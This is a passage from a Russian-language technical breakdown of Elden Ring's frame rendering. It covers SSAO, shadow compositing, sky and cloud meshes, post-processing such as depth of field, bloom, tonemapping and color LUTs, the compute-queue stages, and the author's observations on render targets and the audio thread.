Этот новый SSAO является упакованной текстурой. Реальный SSAO находится в канале **R**, а канал **A** — это маска для SSAO (на практике можно считать, что это маска скайбокса, поскольку это единственное, к чему мы не можем применить SSAO). Канал **G** хранит случайные повороты для ядра сэмпла в каждом пикселе. А канал **B**, насколько я понимаю — это «проверка расстояния», позволяющая избежать ошибочных перекрытий.
*RGBA*
*R*
*G*
*B*
*A*
*RGBA*
*R*
*G*
*B*
*A*
#### 2. Предыдущий и текущий кадр
Выполняем своего рода интерполяцию (временнУю) между SSAO предыдущего и текущего кадра.
*Текущий кадр*
*Предыдущий кадр*
*Текущий кадр*
*Предыдущий кадр*
#### 3. Окончательный Render Target SSAO
Текущий упакованный SSAO по-прежнему имеет размер в 1/2 от целевого. Поэтому на этом этапе игра сгенерирует готовый render target SSAO в оттенках серого, который будет использоваться преобразованием формата и растягиванием нового render target до полноэкранного целевого разрешения.
*960\*540 – R8G8B8A8\_UNORM*
*1920\*1080 – R8\_UNORM*
*960\*540 – R8G8B8A8\_UNORM*
*1920\*1080 – R8\_UNORM*
Весь этот процесс выполняется во фрагментном шейдере (к сожалению) и использует следующий набор параметров:
**SSAO Param**
**SSAO Param 2**
**Post Process Common**
### Композитная тень
Имея на руках SSAO и ранее полученное определение поверхностей GBuffer *(напомню, в в его каналах RGB хранятся Metallic, roughness и тени)*, композитный шейдер даёт нам новый render target, используемый в качестве ***композитной маски теней***.
*SSAO на входе*
*GBuffer на входе*
*Маска теней на выходе*
*Канал A ShadowMask на выходе*
*Окончательная Swapchain*
Я хотел показать канал A готовых выходных данных Shadow Composite, потому что именно в нём хранятся данные о тенях. Вы видите, что канал A полностью чёрный, и это логично: если подробно рассмотреть готовый кадр, то можно заметить, что в нём отсутствуют все виды теней от прямого солнечного света и используется только SSAO для затемнения и затенения областей. Если посмотреть на другой пример (ниже) кадра на открытом воздухе, находящегося под прямым солнечным светом, то можно обнаружить, что канал A выходного Shadow Composite содержит все детали теней, присутствующие в готовом кадре swapchain *(под Годриком, на здании, под цветами, на самом полу арены и т. д.)*.
*SSAO на входе*
*GBuffer на входе*
*Shadow Mask на выходе*
*Канал A ShadowMask на выходе*
*Окончательная Swapchain*
Что касается входных параметров композитного шейдера, то они очень просты:
**Composite Shadow Mask**
### Соединяем всё вместе
Используя render target **Irradiance** + **Specular** поверх **GBuffer** (4 Render Target + глубины) + **Shadow Mask**+ **Light Lookup** + **Light Buffers** (Spot + Point) с обычным PBR и математикой во фрагментном шейдере мы получаем нечто красочное и готовое для постобработки.
*Irradiance*
*Specular Acc*
*Цвет*
*Normal*
*Поверхности*
*Emissive*
*Глубины*
*Shadow Mask*
*Финальный PBR, готовый для постобработки*
### Меш карты окружений
#### Генерация кубической карты (многократная)
Здесь не происходит ничего важного, подробнее см. в подразделе ***«Генерация кубической карты»*** раздела Compute.
#### Атмосфера
Но как вы видите, несмотря на то, что кадр готов перейти к постобработке, на нём по-прежнему отсутствует небо! И тут настаёт время отрисовать и выполнить его композитинг с текущим кадром в отдельном проходе цвета.
Атмосфера и небо проходят несколько этапов, сначала отрисовываются меш купола неба с голубой текстурой неба, затем меш облаков и, наконец, рельеф (terrain) — не знаю, почему это часть неба/атмосферы, возможно это связано с приданием «атмосферы» и туманом.
Итак, когда все эти три меша объединяются (учитывая то, что они центрированы на мире), они выглядят примерно так. Но я всё равно не понимаю, почему terrain почти всегда невидим!
*Купол неба*
*Меш облаков*
*Атмосферный рельеф*
*Все атмосферные меши вместе*
##### Купол/полусфера неба
На этом первом этапе отрисовываются такие элементы атмосферы, как луна и звёзды (при необходимости). Звёзды имеют две основные текстуры (пока).
*Паттерн звёзд 1 — 4096\*4096 – BC1\_TYPELESS – RGBA*
*Паттерн звёзд 2 — 1024\*1024 – BC7\_TYPELESS – RGB*
*Паттерн звёзд 2 — A*
Луна имеет текстуру, использующую каналы RGB для различных целей.
*1024\*1024 – 11 Mips – BC7\_UNORM*
*R — цвет*
*G — Luminance*
*B — Mask*
После этого первого этапа мы переходим от пустого пространства за кадром (обычно после PBR заливаемого серым) к тому, что будет походить на чистое небо (при необходимости со звёздами)
*На **входе** в этап атмосферы 1*
*На **выходе** из этапа атмосферы 1*
##### Облака
Затем частично деформированный вторичный купол (не полный купол, он уплощённый, как показано выше) отрисовывается внутри первого купола (большего размера); он используется для облаков с группой текстур облаков. Сложно сказать, какие конкретно из них используются, но стоит упомянуть. что каждая отрисовка облаков получает весь набор текстур; вне зависимости от того, используются ли одна или две, шейдеру передаются они все.
*2048\*512*
*2048\*2048*
*4096\*1024*
*2048\*256*
*4096\*1024*
*2048\*2048*
*4096\*1024*
*2048\*256*
***Все текстуры имеют формат BC7\_TYPELESS. На изображениях в градациях серого представлен канал A каждой текстуры, он очень полезен для симуляции анимации «течения». Если вы думаете, что некоторые текстуры я ошибочно повторил, то нет, игра передаёт некоторые текстуры дважды тому же шейдеру как разные входные данные!***
*На **входе** этапа атмосферы 2*
*На **выходе** этапа атмосферы 2*
И, разумеется, есть группа вспомогательных текстур, используtvs[ для симуляции фальшивых облаков (flowmap)
*1024\*1024 – BC7\_TYPELESS*
*1024\*1024 – BC7\_TYPELESS*
*256\*256 – BC7\_UNORM*
##### Рельеф
Последним отрисовывается меш рельефа. Этот меш очень сложно увидеть; на самом деле, почти на всех моих захватах мне не удавалось найти ни одной части рельефа в окончательном рендере. Ниже показаны вход и выход этого этапа, заметите ли вы какую-нибудь разницу?
*На **входе** этапа атмосферы 3*
*На **выходе** этапа атмосферы 3*
Этот меш огромный и очень-очень плотный, но его всё равно не так легко заметить. Основная часть рельефа, который вы видите и по которому ходите — это отдельные от этого «атмосферного» рельефа меши рельефа/камней. Рельеф этого этапа проходит обычный процесс тайловой отрисовки рельефа, в котором много слоёв в виде текстур (травы, камня, грязи и т. п/) и масок. Вот список часто встречающихся слоёв и масок рельефа, используемых при этом типе отрисовки.
*512\*512 – BC1\_UNORM*
*1024\*1024 – BC1\_TYPELESS*
*2048\*2048 – BC1\_UNORM*
*1024\*1024 – BC1\_TYPELESS*
*1024\*1024 – BC1\_TYPELESS*
*1024\*1024 – BC1\_UNORM*
*1024\*1024 – BC1\_UNORM*
*1024\*1024 – BC1\_TYPELESS*
*256\*256 – BC4\_UNORM*
*1024\*1024 – BC1\_UNORM*
*1024\*1024 – BC1\_UNORM*
*1024\*1024 – BC1\_UNORM*
***Вы ошибаетесь, если думаете, что вместо одиннадцатого изображения я случайно вставил повтор. Нет! Игра всегда передаёт её дважды как две разные текстуры!***
И вы правы, если предположили, что первая текстура выше упакована. Я люблю упакованные текстуры, иногда они кажутся мне «инопланетными»!
*512\*512 RBG*
*R*
*G*
*B*
Если объединить всё вместе, то для получения хорошего примера области, где видны небо, звёзды, луна, облака и очень атмосферные элементы, нужно отрисовать их в следующем порядке:
*GBuffer на входе*
*Луна + звёзды*
*Базовый слой облаков*
*Передний слой облаков + рельеф*
*Окончательная Swapchain*
***Слои облаков нужны для своего рода «параллакса». Атмосферный рельеф по-прежнему сложно заметить!***
### Постобработка
Основная часть постобработки в Elden Ring выполняется во фрагментных шейдерах, и довольно редко можно встретить постобработчик на уровне compute. И это ещё один разочаровывающий момент игры под D3D12, выпущенной в 2022 году! Но в конечном итоге мне понравилось качество постобработчиков, а также то, насколько «лёгкими» казались данные с моей точки зрения, и общая упорядоченность потока постобработки.
#### Depth of Field
Depth of Field в Elden Ring используется только в кинематографических вставках и катсценах, в остальной части игры он отсутствует. Возможно, в некоторой степени логично никак не использовать DOF при геймплее, однако во многих играх его применяли в качестве геймплейной механики, помогающей направлять игрока или ограничивать его зрение из-за сюжетных элементов. Как бы то ни было, я не могу осуждать это решение и возможно, позже в игре DOF может меняться (хоть я и сомневаюсь в этом), но в целом он выглядит так:
*Изображение Swapchain кадра катсцены*
*Изображение Swapchain кадра геймплея*
*Пятно рассеивания DOF кадра катсцены*
*Пятно рассеивания DOF кадра геймплея*
Пятно рассеивания (CoC) для for DOF имеет формат **R10G10B10A2\_UNORM** и рендерится в половинном разрешении; так как мои эксперименты проводятся в 1080p, эти голубоватые CoC рендерились в размере **540p (960\*540)**.
Далее CoC в половинном разрешении уменьшается вдвое ещё раз, достигая размера 480\*270, затем 270p много раз пропускается через одинаковый фрагментный шейдер, чтобы выполнить магию DOF в разных слоях размытия и аппроксимировать глубину относительно разделения фона, переднего плана и элементов в фокусе.
Стоит заметить, что количество исполнений фрагментного шейдера DOF ограничено пятью, после чего он достигает величины размытия, необходимой команде From Software. Общее размытие зависит от того, где находится элемент в фокусе и от того, какой процент кадра он занимает. Используются (передний план + элемент в фокусе + фон) или (только элемент в фокусе + фон). Например:
*960\*540*
*480\*270*
*480\*270*
*480\*270*
*480\*270*
В предыдущем примере нет элементов переднего плана, но если бы они были, ситуация бы немного различалась, поскольку необходимо было бы чёткое разделение между тремя элементами. Давайте рассмотрим ещё один кадр:
***Разделение***
*960\*540*
*480\*270*
*960\*540*
*960\*540*
*480\*270*
*480\*270*
*480\*270*
***Затем Blur***
*960\*540*
*480\*270*
*480\*270*
*480\*270*
*480\*270*
Я хотел показать эти детали по одной причине: если DOF совершенно не используется во время геймплея, почему он всё равно включён в графический конвейер? Ресурс создаётся и заливется фрагментным шейдером в каждом кадре (сплошным синим), а также проходит весь конвейер DOF, где изображение рендерится в половинном размере в 540p, а затем снова уменьшается вдвое до 270p, а потом эти ресурсы перемещаются между входными и выходными данными шейдеров. Это можно было бы полностью обойти в вызовах CPU рендерера и сэкономить немного времени кадра, особенно если бы оно понадобилось нам в течение геймплея *(вспомните, что в открытом мире игра никогда не достигает 60fps)*!
Для любопытствующих ниже представлена структура со всеми параметрами DOF, передаваемыми фрагментному шейдеру.
**DOF Params**
Depth of Field — один из самых любимых мной эффектов в 3D-рендеринге реального времени, и несмотря на всё сказанное о DOF Elden Ring, мне нравится его качество в игре! Разработчики прекрасно с ним справились!
#### Цветокоррекция (подготовка)
См. этап [7] очереди Compute.
#### AA
Anti-Aliasing в Elden Ring является временнЫм. Здесь нет ничего сложного, игра просто генерирует render target скоростей пикселей (называемый в этой игре render target «move») и использует его между предыдущим и текущим кадром.
*Кадр на входе — 1920\*1080 – R11G11B10\_FLOAT*
*Кадр на выходе — 1920\*1080 – R11G11B10\_FLOAT*
*Текущий кадр — 1920\*1080 – R11G11B10\_FLOAT*
*Текущие скорости/Move – 1920\*1080 – R16G16\_FLOAT*
*Текущий стенсил – 1920\*1080 – R8\_UINT*
*Предыдущий кадр – 1920\*1080 – R11G11B10\_FLOAT*
*Предыдущие скорости/Move – 1920\*1080 – R16G16\_FLOAT*
*Предыдущий стенсил – 1920\*1080 – R8\_UINT*
И, разумеется, этому этапу передаётся набор параметров шейдеров
**AA**
#### Свечение (Bloom)
Выполняется последовательность масштабирования выходных данных кадра, шесть раз, каждый раз размер уменьшается вдвое; в результате мы получаем семь каскадов, пока не достигнем половины от исходного размера кадра (960\*540).
*15\*9*
*30\*17*
*60\*34*
*120\*68*
*240\*135*
*480\*270*
*960\*540*
Разумеется, как это всегда бывает с bloom, когда приходит его время, эти данные не используются в своём размере, а масштабируются обратно к полноэкранному разрешению, поэтому в момент использования они выглядят примерно так (это не истинное разрешение, а просто демонстрация).
*15\*9*
*30\*17*
*60\*34*
*120\*68*
*240\*135*
*480\*270*
*960\*540*
Этому шейдеру передаётся очень простое единственное значение.
**Glow Param**
#### Даунскейлинг
На этом этапе текущее состояние кадра уменьшается в два раза, поскольку эта уменьшенная версия понадобится сейчас для всех последующих этапов постобработки. Если игра работает в **1920\*1080**, то на этом этапе мы получим **960\*540** в формате **R11G11B10\_FLOAT**. Здесь нет ничего сложного, никаких особых параметров шейдеров и тому подобного.
*1920\*1080 – R11G11B10\_FLOAT*
*960\*540 – R11G11B10\_FLOAT*
Помните, что представленные выше изображения немного изменены для понятности, поскольку на этом этапе кадр очень тёмный: нет тональной и гамма-коррекции, никакой другой обработки. Но если вам интересны кадры, которые поступают на вход этого этапа и выходящие из этапа даунскейлинга, то они представлены ниже:
*1920\*1080 – R11G11B10\_FLOAT*
*960\*540 – R11G11B10\_FLOAT*
#### LightShaft
Хотя постобработчик столбов света (Light Shaft) существует, мне не удалось найти ему хорошего применения. Даже в самых контрастных кадрах наподобие показанного здесь его результаты не полностью похожи на то, как должны выглядеть результаты постобработки light shaft. Но что есть, то есть!
Здесь стоит заметить, что эффект столбов света работает с кадром половинного разрешения, а не полного.
Также здесь стоит упомянуть, что несмотря на то, что я описал столбы света здесь, прямо перед постобработчиком Glare/Bloom, на самом деле они выполняются **«посередине»** Glare/Bloom. Как видно ниже, Glare/Bloom выполняется за три отдельных этапа, однако столбы света вычисляются непосредственно после первого этапа (этап генерации) и до завершения Glare/Bloom (второй и третий этапы). Возможно, это можно оптимизировать: может быть, это не приведёт к большому изменению производительности и качества изображения, однако улучшит качество кода и конвейера.
*На входе — R11G11B10\_FLOAT – 950\*540*
*На выходе — R11G11B10\_FLOAT – 950\*540*
*Усиленный выход — R11G11B10\_FLOAT – 540p*
*Кадр Swapchain в конце*
Для демонстрации столбов света я хотел взять именно этот кадр, поскольку если в этой игре и есть столбы света, то нет лучшего места для них, чем красивое Древо Эрд. То есть я просто хотел сказать, что эти яркие столбы света (которые также называют God Rays) — это просто меш с прозрачной текстурой и, возможно, билбордингом, а не настоящий постобработчик.
*Древо Эрд — меш столба света*
*Столб света — 4096\*2048 – BC1\_UNORM*
*R*
*G*
***Это меш и текстура, используемые вокруг ствола Древа Эрд для симуляции столбов света***
Ниже можно посмотреть на усиленную версию отложенного кадра до всей постобработки — это просто меш! Но должен сказать, что окончательный результат выглядит хорошо.
*Отложенный кадр до всей постобработки*
*Кадр Swapchain со всей постобработкой*
Наличие этапа столбов света в постобработчике подразумевает, что в плане была эта функция, или её реализовали, а потом вырезали. Я говорю это, потому что во многих областях игры, где можно ожидать наличия God Rays, не видно ничего, реализованного как столбы света, а шейдер столбов света получает разрешение в 1/2 кадра и выводит **чёрный цвет**. То есть он выполняется и производит вычисления, но просто заполняет ненужную текстуру чёрным и передаёт эти ресурсы на последующие этапы.
**Light Shaft**
#### Glare(Bloom)
*Стоит сказать, что я буду всегда называть этот эффект **Glare/Bloom**, потому что я видел его и обычно его называют Bloom, однако разработчики Elden Ring чаще всего в коде называют его **Glare** (в редких случаях они называют его и Bloom!), а в других случая они называют то же самое **Glow**. Поэтому я попытаюсь использовать оба термина.*
Bloom выполняется за несколько этапов, не все они выполняются одновременно и не все используют один шейдер. К сожалению, разработчики Elden Ring могли реализовать его лучше, воспользовавшись compute-шейдерами для большинства из этих этапов, а то и для всех!
##### Генерация Glare/Bloom
Здесь генерируется так называемая «Accumulation Texture», которая позже используется для применения эффекта Glare/Bloom. Это очень типичное уменьшение размера кадра (6 раз, каждый раз вдвое), которое мы видели на предыдущем этапе.
##### Тональная коррекция Glare/Bloom
На текущий момент Accumulation Texture находится в непригодном для использования состоянии. Или, по крайней мере, так выглядит. Если наложить эту текстуру сейчас, она затемнит кадр, поэтому к Accumulation Texture Glare/Bloom применяется тональная коррекция для преобразования её в нужное цветовое пространство. Используемая здесь тональная коррекция (для регулировки Glare/Bloom) — это тот же алгоритм и те же параметры шейдеров, что используются позже для применения тональной коррекции ко всему кадру для заверешния прохода постобработки.
*До тональной коррекции Accumulation Glare/Bloom – R11G11B10\_FLOAT – 960\*540*
*После тональной коррекции Accumulation Glare/Bloom – R11G11B10\_FLOAT – 960\*540*
Формат текстур (R11G11B10\_FLOAT), а также размер (1/2 кадра = 960\*540) те же для Accumulation Texture, на этом этапе она никак не растягивается, не масштабируется и не преобразуется.
##### Применение Glare/Bloom
Теперь осталось лишь добавить красивый Glare/Bloom вокруг пикселей с luminance, для этого достаточно лишь применить композитингом Accumulation Texture к текущему кадру.
*До Glare/Bloom – 1920\*1080 – R11G11B10\_FLOAT*
*Glare Accumulation – 960\*540 – R11G11B10\_FLOAT*
*После Glare/Bloom – 1920\*1080 – R10G10B10A2\_UNORM*
#### Тональная коррекция
В Elden Ring используется простая техника тональной коррекции [Рейнхарда](https://64.github.io/tonemapping/#reinhard), ничего особо сложного или инновационного, как может показаться, и я не думаю, что здесь нужны какие-то усложнения, игре это подходит. Мне кажется, техника Рейнхарда скорее художественна, чем реалистична. Ниже показаны входные и выходные данные этого постобработчика, а также полное описание входных параметров шейдеров.
*До тональной коррекции – 1920\*1080 – R10G10B10A2\_UNORM*
*Таблица тональной коррекции – 1024\*1 – R16\_FLOAT*
*После тональной коррекции – 1920\*1080 – R10G10B10A2\_UNORM*
Помните, что ради демонстрации я поместил здесь выходные данные Glare/Bloom в качестве входных данных для этапа тональной коррекции (R10G10B10A2\_UNORM), но на самом деле, поскольку обе операции выполняются в одном шейдере и одновременно, сложно создать захват одного Glare/Bloom, поэтому при реальной реализации кадра обе операции (Glare/Boom и тональная коррекция) получают на входе один и тот же кадр (R11G11B10\_FLOAT), показанный ниже:
*1920\*1080 – R11G11B10\_FLOAT – без гамма-коррекции*
*1920\*1080 – R11G11B10\_FLOAT – с гамма-коррекцией*
**Tone Map**
**Post Process Common**
Этот этап тональной коррекции в конвейере постобработки сбивает с толку своим названием. Тональная коррекция — это «отдельный» постобработчик, выполняемый на этом этапе из нескольких, но склеенных вместе постобработчиков; однако как вы могли заметить по структуре Tone Map (под спойлером выше), передаваемой шейдеру, это неправильное имя для структуры, поскольку это «глобальная» структура постобработчика для нескольких постобработчиков, выполняемых одновременно в одном шейдере. Поэтому да, она называется Tone Map, и мы выполняем тональную коррекцию, но одновременно по необходимости применяются и другие элементы, такие как Brightness, Contrast, Vignette, Chromatic Aberration, Glare/Bloom, Lens Distortion и Color Correction. Например, на предыдущем этапе до тональной коррекции мы говорили, что выполняется этап Bloom/Glare. Этот первый этап Glare выполняет только «подготовку», но само применение Glare выполняется в том же шейдере и в то же время, что и тональная коррекция (или, возможно, на этапе цветокоррекции, о котором говорится ниже).
#### Цветокоррекция (LUT)
Здесь не происходит ничего особо сложного, просто обычная единственная 3D-текстура **16\*16\*16** в формате **R16G16B16A16\_FLOAT** для придания кадру нужного настроения. Она применяется как к геймплею, так и к вставкам. Помните, что в показанных ниже примерах вы можете заметить изменения в «тоне», а также немного glare между кадрами до и после этапа цветокоррекции, и это нормально: похоже, это один общий шейдер, используемый для выполнения тональной коррекции, Glare, а также цветокоррекции. Это общий шейдер с общим набором параметров, упомянутый выше в разделах о тональной коррекции и Glare. То есть показанные ниже результаты не являются полностью результатом применения только цветокоррекции.
*Сверху вниз: LUT, кадр до, кадр после*
### UI
### Финальный композитный результат
К этому времени у нас есть два финальных render target для всей этой работы. В движке Elden Ring они называются HDRScene и UIScene, каждый имеет размер **1920\*1080** (или разрешение, выбранное вами в параметрах игры) и формат **R8G8B8A8\_UNORM** . Назначение второго понятно из названия (это весь игровой UI на одном изображении, которое размещается поверх кадра), а первый, гипотетически, называется HDR, но это совсем необязательно должен быть HDR; например, я играл на своём мониторе без поддержки HDR и в этом случае изображение было просто результатом работы все очереди рендеринга (а также compute). Это готовый кадр со всеми эффектами, готовый к отображению.
И, разумеется, когда кадр взят из кинематографической вставки, render target UIScene полностью чёрный и с полной альфой; это ещё один странный выбор со стороны разработчиков, потому что изображение 1080p копируется в шейдер композитинга окончательного кадра. Не было ли лучше пропускать этап композитинга в случае киновставок? На стороне шейдера есть bool/int (как вы увидите ниже) для пропуска композитинга, но сам ресурс всё равно передаётся шейдеру, хоть его и не нужно использовать. Разве не было бы лучше в случае вставок передавать передавать текстуру 1\*1? В конечном итоге все дескрипторы назначаются предварительно, но мы хотя бы могли обмануть их при помощи не требующей ресурсов текстуры 1\*1.
Для фрагментного шейдера композитинга используются следующие параметры:
**Display Mapping Data**
То есть потом HDRScene + UIScene с использованием альфа-канала UIScene превратятся в готовый красивый кадр. Как в Photoshop, только в реальном времени и много раз в секунду!
*HDRScene – R8G8B8A8\_UNORM*
*UIScene – R8G8B8A8\_UNORM*
*UIScene[A] – R8G8B8A8\_UNORM*
*Финальный композитинг (Swapchain)*
***Все изображения имеют размер 1920\*1080 или то целевое разрешение, которое вы задали в настройках игры***
Лично я бы рисовал UI прямо на финальном HDRScene и сэкономил бы render target размером в целый экран; при этом сохранилась бы возможность полностью отказаться от прохода UI, когда он не нужен (например, во время катсцены). Именно так я поступил в своём движке, и, как вы можете помнить [по предыдущей статье](http://www.mamoniem.com/behind-the-pretty-frames-god-of-war/), в God of War сделано так же!
Compute
-------
FromSoftware удивила меня тем, что несмотря на создание качественных игр, студия всегда отстаёт от технологий и новых функций, если считать Compute чем-то новым!
При создании кадров Elden Ring используются compute-шейдеры, но не очень активно. Бывает, что они достаточно часто используются в течение жизни кадра, но не на «максимум» или это использование не особо полезно по сравнению с другими играми, выпущенными в том же поколении или в тот же год. Честно говоря, местами в игре выполняются compute, иногда можно удивиться идеям разработчиков, в других же случаях они кажутся бесполезными или их можно реализовать иначе. Очередь compute в Elden Ring выполняется в следующем порядке:
Состояния Compute
| | |
| --- | --- |
| [Всегда] | Этот compute выполняется в каждом кадре на протяжении всей игры. |
| [Снаружи] | Этот compute выполняется только когда игрок находится на открытом воздухе, однако в пещерах, подземельях и помещениях его не будет. |
| [Если существует] | Этот compute выполняется только когда существует рендерящийся элемент. Лучший пример — это GPU-частицы |
### 1. Даунсэмплинг глубин [Всегда]
Этот compute-шейдер выполняется сразу после даунсэмплинга глубин в очереди графики и перед SSAO Этот этап «гипотетически» называется даунсэмплингом глубин, но на самом деле здесь не происходит никакого даунсэмплинга, это просто этап продолжения даунсэмплинга глубин из очереди графики. Два результата даунсэмплинга (960\*540 и 480\*270 из очереди графики) передаются этому compute, чтобы использовать их для создания этого нового изображения маски ***120\*68*** в формате ***R32G32\_FLOAT***, которое, похоже, используется позже для усечения источников освещения (точечных и прожекторных).
*1920\*1080 – D32S8\_TYPELESS*
*120\*68 – R32G32\_FLOAT*
*1920\*1080 – D32S8\_TYPELESS*
*120\*68 – R32G32\_FLOAT*
***Примеры кадров внутри (пещеры) и снаружи (открытый мир)***
**Down Sample Depth**
### 2. Генерация кубических карт [Снаружи]
Этот этап не совсем полностью является генерацией, похоже, это этап «копирования» для предварительно запечённых кубических карт. Здесь выполняется последовательный набор compute-команд, количество выполнений этого compute зависит от видимых объектов кубических карт/захватов отражений в текущей загруженной области. Во многих областях это будут 1-2 захвата, однако в более крупных областях (например, в показанной ниже) будет девять захватов с девятью последовательными compute-командами.
Каждая из этих команд сопровождается командой отрисовки кубической формы очереди графики, как будто это меш/заполнитель захвата в игровом мире. Каждая из этих команд отрисовки куба, по сути, является вызовом отрисовки ***Irradiance & Specular Accumulation*** в очереди графики (это объясняется ниже). Так что можно представить эти девять отрисовок (в других случаях их больше или меньше) как последовательность «пинг-понга» между очередями графики и compute, повторяемых девять раз **COMPUTE-COPY**, за которым следует **GRAPHICS-DRAW**.
***Каждая из кубических карт — это 2DTextureArray с шестью гранями/слайсами и 8 mip-текстурами (от 128\*128 до 1\*1)***
Каждая из этих команд получает в качестве входных параметров для compute-шейдера копирования следующую структуру:
**Cube Copy Param**
Любопытно то, что передаваемое шейдеру значение `numMipLevels` всегда равно **5**, но в конце мы всегда получаем **8** mip-текстур.
### 3. Усечение освещения [Всегда]
Теперь желтоватая маска освещения, полученная ранее на этапе даунсэмплинга глубин, передаётся compute-шейдеру (этому) вместе с двумя Structured Buffer (один для точечных источников, второй для прожекторных), и мы получаем Light Lookup Structured Buffer (таблицу), а также несколько сопровождающих структурированных буферов (Light Indices и Work Data) в качестве результата того, что похоже на compute тайлового рендеринга.
**Point Light – StructuredBuffer[1024]**
**Spot Light – StructuredBuffer[1024]**
Параллельно с передачей шейдеру обычной структуры Scene Params (она передаётся большинству шейдеров в игре) этот compute получает дополнительные входные параметры буфера, содержащие данные о накопленном освещении (пирамиду, количество источников, ячейки и т. п.), имеющие следующий вид:
**Light Acc Param**
Анализ четвёртого, пятого и шестого этапов (Volumetrics, Shadows, GPU Particles) находится в процессе разработки.
### 7. Цветокоррекция [Всегда]
На этом раннем этапе постобработки игра подготавливает таблицу поиска цветокоррекции, то есть 3D-текстуру, которая будет использоваться в очереди графики для применения «истинной» цветокоррекции при помощи фрагментного шейдера.
Таблица имеет размер **16\*256** и формат **R8G8B8A8\_UNORM**
Этот compute приводит к созданию структуры **16\*16\*16** формата **R16G16B16A16\_FLOAT**, которая используется на входе постобработчика цветокоррекции очереди графики.
Найти разницу в этих изображениях PNG может быть сложно, и разница заключается не в отличиях строк и столбцов, это я решил разделить второе изображение на две строки по 8 слайсов (всего 16), чтобы их было проще различать. Разница заключается в глубине текстур, а также в формате DXGI\_FORMAT. Под глубиной я подразумеваю то, что первая передаваемая compute текстура — это обычный сэмплер 2D-текстуры, а на выходе compute получается 3D-текстура (слайсы по XYZ). То есть можно сказать, что этот compute является шейдером преобразования из 2DTexture в 3DTexture.
Я бы сказал, что это совершенно необязательный повторяющийся шаг, происходящий в каждом кадре (геймплея и вставок), а не просто вычисляемый один раз в начале уровня. Лучше бы было, если бы это был предварительно запечённый ресурс, созданный до подготовки игровых данных, как и во многих других играх. Крошечная compute-команда в очереди, выполняемая в каждом кадре с группами потоков (1, 1, 16) может и не вызывать проблем, однако если не отслеживать эти мелочи, «не влияющие» на затраты вычисления кадра, то внезапно у вас возникнет куча множества мелких проблем, которые вполне себе «влияют»!
Жизнь кадра [граф рендеринга]
-----------------------------
Итак, узнав о том, что же скрывается в очереди графики и compute, мы можем воссоздать весь конвейер/граф рендеринга кадра (для типичного/золотого кадра, включающего в себя максимально большое количество функций) и получить псевдовизуальную диаграмму развития кадра.
И разумеется, мы не можем обойтись полноэкранного видео воссоздания. Я люблю наблюдать за такими видео и понимать, сколько времени мне с моей средней человеческой скоростью восприятия нужно, чтобы рассмотреть каждый этап. Для просмотра всех этапов создания кадра Elden Ring требуется около десяти минут наблюдений, а игра рендерит их по 60 раз в секунду, потрясающе!
*Кадр геймплея*
*Кадр кинематографической вставки*
Общие наблюдения о движке
-------------------------
### Анимации окружения
Анимации окружения мира Elden Ring довольно красивы. Разнообразие вариаций медленно движущихся «объектов» мира придаёт ему большой реализм. Эти анимации можно заметить в таких объектах, как птицы, мелкие существа, ткань, флаги и знамёна. Все анимации окружений в игре используют технику ***VertexToTexture***, при которой кадры анимации (ограниченные) запекаются в данные ***Positions*** и ***Normals*** в текстурах, а анимация воспроизводится при помощи считывания вершинным шейдером этих текстур. Например, ниже показаны два слоя ткани, образующих в игре один флаг:
*Меш флага – 9202 вершины – 15048 треугольников (45144 индекса)*
*Позиции вершин – 7977\*121 – R16G16B16A16\_FLOAT*
*Нормали вершин – 7977\*121 – R8G8B8A8\_UNORM*
*Меш флага – 1188 вершин – 890 треугольников (2670 индексов)*
*Позиции вершин – 569\*240 – R16G16B16A16\_FLOAT*
*Нормали вершин – 269\*240 – R8G8B8A8\_UNORM*
Для такого меша и подобных мелких текстур мы получаем красивый эпичный реальный флаг с циклической анимацией!
Кроме трюка с анимацией флаг использует группу текстур для задания своей поверхности в GBuffer, как любой другой геометрии в мире.
*Цвет – 1024\*1024 – BC1\_TYPELESS*
*Нормали – 1024\*1024 – BC7\_UNORM*
*Bump – 256\*256 – BC1\_TYPELESS*
*Волоски ткани — 256\*256 – BC7\_UNORM*
И, разумеется, существуют вариации наборов текстур для создания при необходимости разорванной версии или другого внешнего вида флага.
*Цвет – 1024\*1024 – BC1\_TYPELESS*
*Нормали – 1024\*1024 – BC7\_UNORM*
*Грязь – 512\*512 – BC4\_UNORM*
*Flow – 512\*512 – BC1\_UNORM*
### Render Target
Общее замечание: в этой игре есть много render target, которые нужны просто для того, чтобы быть. Некоторые из них постоянно чёрные, можно представить это как будто у вас есть пять коробок, которые нужно переместить из комнаты А в комнату Б, можно перенести пять коробок (одну за другой или за раз в тележке, это не так важно), переместив их из комнаты А в комнату Б. Или у вас появляется еще две коробки (теперь их семь) и вы помещаете содержимое двух из пяти коробок, которые нам нужно переместить, в две новые коробки, оставляя две из исходных пяти коробок пустыми (чёрный цвет). Наконец, мы перемещаем новые две коробки (с содержимым исходных коробок) + ещё три коробки (с содержимым) + две исходные пустые коробки (мы используем их позже) в комнату Б! Бессмысленно использовать подобные коробки, если и так можно переместить пять коробок с их содержимым! Эти коробки — render target, создаваемые и перемещаемые только для хранения значений других render target, которые вполне можно было переместить и так.
Ещё один тип render target, который мне не понравился: игра хранит один канал в целом render target RGBA, а в другом render target используются только два или три канала. Упаковать каналы можно было и лучше.
Последний тип render target — это, по сути, вещи наподобие UIScene; некоторые спорят, стоит ли иметь отдельный RT только для содержимого UI. Лично я принадлежу к другой школе и считаю, что нужно максимально ужимать и упаковывать данные. Производительность в играх достигается непросто!
### Аудиопоток
Аудио в этой игре выполняется в собственном потоке и это вполне нормально сегодня, но, похоже, аудиопоток не воспроизводится в гармонии с остальной частью игры и другими потоками (игровой поток, поток рендеринга и т. п.), так как чаще всего, когда я делал захваты, в игре возникают торможения при копировании содержимого кадра из GPU на HDD (и это вполне стандартно). Но в большинстве других игр (будь то на PC или на консоли) во время захвата GPU притормаживало абсолютно всё и игровой звук не воспроизводится. В Elden Ring аудио воспроизводится совершенно плавно, кроме того, если произносится строка диалога или воспроизводится музыка в киновставке, то игрок будет слышать музыку или диалог, пока вся игра притормаживает на десять или более секунд, а после разблокировки графического потока и продолжения игры вы увидите оставшуюся часть геймплейной анимации или оставшуюся часть вставки без аудио, поскольку аудиоинформация была воспроизведена заранее, во время процесса копирования данных кадра. Разумеется, это происходит только тогда, когда аудиопоток бsk запущен перед захватом, торможением потока рендеринга.
